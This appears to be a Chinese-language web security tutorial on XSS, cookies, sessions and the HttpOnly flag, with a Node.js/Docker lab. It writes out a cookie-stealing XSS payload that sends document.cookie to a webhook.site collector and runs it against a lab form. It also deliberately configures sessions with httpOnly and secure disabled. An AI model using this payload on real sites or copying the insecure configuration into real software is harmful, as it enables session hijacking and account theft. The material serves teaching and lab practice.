當使用者能夠向網站提交 HTML 或 JavaScript 程式碼，而網站前端未能適當過濾或轉義這些輸入時，瀏覽器將解析這些程式碼，可能導致 HTML 注入或 JavaScript 注入，即所謂的 XSS。
DOM 是 HTML、XML和 SVG 文件的程式介面，允許 JavaScript 動態存取和更新網頁的內容、結構和樣式。
BOM 提供了與瀏覽器窗口交互的接口，但沒有官方文件明確定義，因為不同瀏覽器的 BOM 實現可能不同。
常用的 BOM 包括window等。
HTML中引入JavaScript的方法包括：
<script type="text/javascript">JavaScript code</script>
<script src="myScript.js"></script>
onerror和onload：
<img src="" onerror="JavaScript code">
<body onLoad="JavaScript code"></body>
alert(), confirm(), prompt()等 Window Object Methods 來驗證瀏覽器對腳本的反應。<script>
onerror
onLoad
alert()
prompt()
confirm()
HTTP 是一種無狀態的通訊協定，這意味著每次交易完成後，連線就會關閉，伺服器不會記住之前的請求或回應。這種設計使得 HTTP 本身無法記住使用者的狀態，因此引入了 Cookie 和 Session 來維護狀態信息。
Cookie 是伺服器傳送給使用者瀏覽器並保存在本地的小數據文件，它可以用來識別使用者，並在使用者再次存取網站時由瀏覽器發送給伺服器。
Session 是另一種維護使用者狀態的方法，它儲存在伺服器端，較為安全，不容易被使用者端偽造。
以下是一些關於 Cookie 和 Session 的基礎問題，可用於檢驗所學知識：
XSS 攻擊主要分為三種類型：
儲存型 XSS (Stored XSS)：惡意腳本被儲存在網站的資料庫或伺服器上，當使用者存取包含該腳本的頁面時就會受到攻擊。例如，在論壇留言板中插入惡意腳本，所有瀏覽該留言的使用者都會受到影響。
反射型 XSS (Reflected XSS)：惡意腳本包含在使用者提交的請求中，並被網站反射回使用者的瀏覽器。例如，攻擊者構造一個包含惡意腳本的 URL，當使用者點擊該 URL 時，惡意腳本就會在使用者的瀏覽器上執行。
直接將使用者輸入的 keyword 顯示在回應中，且未經任何過濾或轉義，攻擊者可以藉此插入惡意腳本。例如，存取 /search?keyword=，可能導致使用者瀏覽器執行惡意腳本。
HTTPOnly 是一個設定在 Cookie 上的屬性，其主要功能是增強網站安全性，防止跨站腳本攻擊（XSS）中的惡意腳本竊取使用者的 Cookies。當 Cookie 的 HTTPOnly 屬性被設定為 true，這些 Cookie 將無法被瀏覽器中的 JavaScript 存取。
設定 Session Middleware：
在 Node.js 的 server.js 中設定 session middleware 以啟用 session 功能。以下是設定的範例程式碼：
// 使用 session Middleware 來啟用 session 功能
app.use(session({
secret: 'your_session_secret', // Hard-coded 密鑰，應該要更換
// secret: process.env.SESSION_SECRET, // 從環境變數取得密鑰，比較安全
resave: false, // 是否重新保存 session
saveUninitialized: true, // 是否保存未初始化的 session
cookie: {
httpOnly: false, // 是否只允許 JS 存取 cookie <----增加這一行
secure: false } // 在非 HTTPS 環境下也能使用 session
// cookie: { secure: true } // 在 HTTPS 環境下使用 session
}));
啟動服務：
使用 Docker 來容器化應用並啟動服務：
docker-compose up -d --build
測試 Cookie：
在瀏覽器開啟開發者工具，進入 Console 標籤，輸入 document.cookie 查看儲存在瀏覽器的 Cookie。如果設定了 HTTPOnly，則應無法透過此方法查看到 Cookie。
Session Hijacking 是一種攻擊手段，攻擊者竊取使用者的 Session ID 來取得對伺服器的未授權存取。這通常透過竊取儲存在使用者瀏覽器中的 Session Cookie 實現。
設定收集資訊的網站：
存取 webhook.site(https://webhook.site/)，一個可以收集並顯示發送到該 URL 的所有請求的服務。取得個人專屬的 URL。
建立惡意語法：
利用一段簡單的 JavaScript 程式碼將儲存在使用者瀏覽器中的 Cookies 發送到先前設定的 webhook.site：
<script>new Image().src="https://<your-webhook-url>?data="+document.cookie;</script>
這段程式碼建立了一個新的圖片物件，將其 src 屬性設定為包含使用者 Cookie 的 URL。當瀏覽器嘗試加載這張圖片時，它會將 Cookie 作為 URL 參數發送出去，從而實現 Session Hijacking。
進行攻擊:
將以上的程式碼，放入 http://nodelab.feifei.tw/form 中的 GET。
可以看到收集到的 Cookie
secure 和 HTTPOnly 屬性。a) 跨站腳本攻擊(XSS):
b) Cookie和Session:
c) XSS防禦機制:
JS 測試
alert(), confirm(), prompt() 等方法測試XSS漏洞Cookie HTTPOnly 設定:
app.use(session({
// ... 其他設定
cookie: {
httpOnly: false,
secure: false
}
}));
Session Hijacking demo :
<script>new Image().src="https://<your-webhook-url>?data="+document.cookie;</script>
檢查Cookie是否可被JavaScript存取:
document.cookie
iThome鐵人賽
看影片追技術